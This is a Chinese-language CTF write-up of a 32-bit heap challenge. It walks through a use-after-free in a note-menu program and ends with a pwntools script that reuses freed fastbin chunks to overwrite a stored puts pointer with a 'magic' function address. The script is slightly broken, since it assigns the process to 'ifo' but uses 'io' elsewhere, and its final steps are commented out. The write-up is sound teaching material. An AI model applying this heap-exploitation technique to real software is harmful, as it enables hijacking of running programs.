先检查程序的保护情况
32位程序,堆栈不可执行
看ida
经典的菜单题,根据题目的uaf,判断该题有uaf漏洞,看一下delete函数
两次free没置空指针,确实存在uaf漏洞,再看一下add函数和print函数
add函数这里,就是创建了两个堆块,第一个堆块八字节数据中,前四个字节存着puts函数地址,后四个字节存着新建堆块的地址,这个堆块才是我们可以使用和操纵的地方,再来看一下print函数
print函数这里根据索引用puts函数输入我们写入堆块的内容,由于前面的delete函数中的指针没有置空,即使free掉第一个堆块,通过索引我们还是可以打印第一个堆块的内容
这里的利用思路是先创建出两个堆块,然后再删除这两个堆块
add(16,b'aaaa')
add(16,b'bbbb')
delete(0)
delete(1)
我们debug看一下
可以发现,实际上是创建了四个堆块,跟上面的分析一样,再来看一下fastbins
也就是说我们再申请一个0x8大小的堆块的话,其实就是申请了两个0x8的堆块,这个过程为先申请了0x9c03028地址的堆块,然后再申请0x9c03000地址的堆块,写入magic函数地址,会发现,这其实就是哦我们上面第一个堆块存puts函数的地址,现在变成了magic函数地址,那我再print(0)时就会去执行magic函数
magic函数如下:
完整exp:
from pwn import *
context(os='linux',arch='i386',log_level='debug')
#io=remote("node5.buuoj.cn",27156)
ifo=process("./pwn")
magic_addr=0x8048945
def debug():
gdb.attach(io)
pause()
def add(size,content):
io.recvuntil(b"Your choice :")
io.sendline(b"1")
io.recvuntil(b"Note size :")
io.sendline(str(size))
io.recvuntil(b"Content :")
io.sendline(content)
def printt(index):
io.recvuntil(b"Your choice :")
io.sendline(b"3")
io.sendline(str(index))
def delete(index):
io.recvuntil(b"Your choice :")
io.sendline(b"2")
io.recvuntil(b"Index :")
io.sendline(str(index))
add(16,b'aaaa')
add(16,b'bbbb')
delete(0)
delete(1)
#add(8,p32(magic_addr))
debug()
#printt(0)
#io.interactive()